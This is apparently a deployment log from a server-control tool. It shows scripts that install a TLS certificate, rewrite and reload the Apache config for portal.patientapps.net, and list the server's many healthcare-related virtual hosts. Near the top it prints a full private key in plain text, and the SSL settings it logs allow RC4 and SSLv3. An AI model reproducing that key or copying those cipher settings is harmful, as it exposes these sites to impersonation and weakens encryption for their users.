WNW1vNmUdv4pKWJ1mFs4scgNuK7ViEXchwIDAQABo4ICOzCCAjcwDgYDVR0PAQH/
BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFK0JYLKO5L4BTn7hdbgNrqo5JyqQMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wNwYDVR0RBDAwLoIUbGl2ZS5wYXRpZW50YXBwcy5uZXSC
FnBvcnRhbC5wYXRpZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xNS5jcmwwggEN
BgorBgEEAdZ5AgQCBIH+BIH7APkAdwDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V
0S5yu0VLFAAAAZ5uXhg8AAAEAwBIMEYCIQDlFYg938wKBWEdnkYmsC2h8JR56vzd
tM/kJUZCi32yEwIhAOlxhp9pyMygvufMsdAp2FXpsBnX6UyqXpW8tuHwSosMAH4A
qCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGebl4YcQAIAAAFAAzz
VYwEAwBHMEUCIQDxfb9PiuYxdW0D+utnIfySLxj639E8LJB31l8+HAf1IgIgfgb8
/J7yLKe3SQWiH2zHN+1xQMI//r9Zv5NAgQU+dDAwDQYJKoZIhvcNAQELBQADggEB
AClTRDyCIHarmmnFGGtO0z9MSsY86QpTSZ7tnpb7gY/NpL9j8RVefBcYvWyJT7e6
oqb5jLGz1e4IoSTvqGx4pM90ySbvqgnkDD2RWFn3KCYvThhFigMeF8cH3zb1t8UT
D1FAKOlo2XRngXCP52oGt2KD+JbOOBZmvynHrq59mveURQVsOpD6MGLvjRcNkRrf
7Ga5SUZjH/JeOQV4FLJdilYBFjgE9NAqL7uPuKt4fmjQHAuTuttBaQUfxKO990/2
EYtORj0o9eKLqAdQzKigMazHQAIwGFoXI2Zzzv9mIWCI/Is+J7l3Zaf+/HI8CTI+
Njq87O0cQFejtwI1YnKyOxM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCbJfyd5VomK2Sx
/zoP+u0ddgNG9Cn72jxPGehsZy2Fej37dI2MdIeFFxQPnb3TRT9N6yTQ/uImolj0
TTH+Rm1ONjWfYeM0oBuMyVSKrcnn2baz26rr70s27z9eDi13kkdF54SAdDzJvofU
Vj5e6BaztekJySn4fWoeO7G9mzA2qcDPntWLO4YRoebC3Nm86lzpT+dh5NRPlkLW
p4BygPM2hng6weZOEEnlURuTi17EITT6UKRSwuZXW/BLEREwNAEEkjQ6Axtc0nUQ
aFSdmMq0eQsXEyuUewVS+Ns24PTJuMxY3f4Etm9Y1bW82ZR2/ikpYnWYWzixyA24
rtWIRdyHAgMBAAECggEANMIwK0lo5H3xGg5eojyEEXamGqTA+iH2TDfVL7fOZQty
tGWoFNEznHCCo+TSPlvX8Rk7Rc7G/LhMY5c0nvE4Dlak2XQiHS0s8S0tkJMUi8Ef
Pf4/G0geXanx9HwBvh2CGyVli4D7gudFrVE+mGt3/NipTGiZ2yRax7ko8f8p4AxG
NBH4vBVJvpDeCTIctlKPckXhZ3rw/FTjBu+hDr4ccE7ZLklssTctUj2poCOkDx6d
hli4TIj/XbajUWbVTIb2bHLRYFVVsAu6xQuCauZyiTu+Sk/iMWoM+7qjV02jaxkE
u3kTgITwnvIM7U7XeJqpPja1TCQutvYUxBie/HzUUQKBgQDKSTrRo9q89nD9kk7e
8VB9tGgAHwo79IcbA1OeZEIw7LIuC1kuZr+lINIK9Jl0z/CDkmzwkAcx+eJNQywo
SZAgS9ypRpXtn3YfVqaCJFlcshD9NwHnKvHXoA4Ri9AoInixc8Tbi2b/AKw7KqM2
BpYixAhtC5jMKZ8cehn4V6OJ4wKBgQDEWHyK1HJ6QsqT1x1oZks2G6Ri5FWpbwxQ
bDZoSfD6aMKykPkTfmq8aiDH6QWT0LvFRHALF/me7BM6xinkkPGiVKpyxNmR78ui
hN4cAkczkSoBuKo5BnInaBJtv+ox2HqTdQhr25C30WlTPzWxlq37loorcAxAtQrH
0feYGB90DQKBgBv6FNB5wP7xdp8bZR0gculv0hJyOJAiOa1awG3fn+f0VJBZsXPh
cg/8ghBR1Ad72t/XmImM4fHfhZT5/Vl1EyHkXBhtUr8SltuuuEi3jkRrvD3JJdI6
9kfEMy3qEFf8rISeZlOW7B/IkAl+1CPctVcJlcC/Idraxs7BdGYMeOnRAoGAVFhS
v+y9dKnmjhXVqzhuTMMZHeZKqitrFc02nhxNabTBFqZSaT5gKapJhLckTzhWwUpB
+3IEKHHvXMstyeM9+eb3BbBsalWhm6IKK+wKnCta6Txj23VaanU5nW3Y9CqzlU6s
HHFIvL43yawYq7435SDpH/nVOaLMC8S14N9T+60CgYAH7hGQjs1WBDPexdZzzVsK
DdwjvEfjFI66e0MDVkAJCgbUqP8H+V8gLMQm2vnXC8E2AAaKaV+sOwkSWAhQuCii
4HJy7URDIgPeiZBzkPg4jJ51w+Vf0u3pKyJtluMX4T7qFVWu75xqC2U73XiIU34K
7wemCVFDvI/FlJeHcbsQSQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-28 11:35:21: 

chmod 755 /tmp/pkp976344; /tmp/pkp976344; rm /tmp/pkp976344

2026-05-28 11:35:21: 


dir=/etc/ssl/certs


2026-05-28 11:35:21: 

PUT: /tmp/pkp439015

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_portal_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-28 11:35:21: 

chmod 755 /tmp/pkp439015; /tmp/pkp439015; rm /tmp/pkp439015

2026-05-28 11:35:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_portal_net.conf 46

<VirtualHost *:80>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-28 11:35:21: 

PUT: /tmp/pkp219356

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_portal_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_portal_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_portal_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_portal_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_portal_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_portal_net.conf= 1'
fi


2026-05-28 11:35:21: 

chmod 755 /tmp/pkp219356; /tmp/pkp219356; rm /tmp/pkp219356

2026-05-28 11:35:22: 




2026-05-28 11:35:22: 

PUT: /tmp/pkp649485

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-28 11:35:22: 

chmod 755 /tmp/pkp649485; /tmp/pkp649485; rm /tmp/pkp649485

2026-05-28 11:35:22: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-28 11:35:22: Establishing a connection
2026-05-28 11:35:22: 

PUT: /tmp/pkp687571

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-28 11:35:22: 

chmod 755 /tmp/pkp687571; /tmp/pkp687571; rm /tmp/pkp687571

2026-05-28 11:35:22: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
